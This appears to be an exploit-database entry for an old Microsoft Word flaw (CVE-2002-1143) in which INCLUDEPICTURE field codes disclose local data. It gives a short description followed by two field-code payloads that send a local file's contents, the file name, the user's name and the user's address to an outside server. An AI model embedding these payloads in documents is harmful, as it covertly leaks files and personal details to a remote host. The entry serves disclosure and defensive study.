Microsoft Word 95/97/98/2000/2002 - 'INCLUDEPICTURE' Document Sharing File Disclosure

Author: Richard Edwards
type: remote
platform: windows
port: 
date_added: 2002-09-20 
date_updated: 2012-10-08 
verified: 1 
codes: CVE-2002-1143;OSVDB-10734 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/5764/info

The INCLUDEPICTURE Field Code may be used to insert arbitrary URLs into a document. The INCLUDEPICTURE Field Code is reported to, under some circumstances, present a security threat.

If the INCLUDEPICTURE Field Code is included in a document and references a URL, it may be possible for the attacker to obtain contents of files on the victim user's system. It is possible for an attacker to abuse this functionality in a situation where documents are constantly being shared and updated.

An attacker can potentially exploit this vulnerability to obtain the contents of files residing on a victim user's system.

{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { FILENAME \p } & { INCLUDETEXT "c:\\a.txt" } } \d }

{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { USERNAME } & { USERADDRESS } } \d }

(The curly braces above represent Microsoft Word field braces.)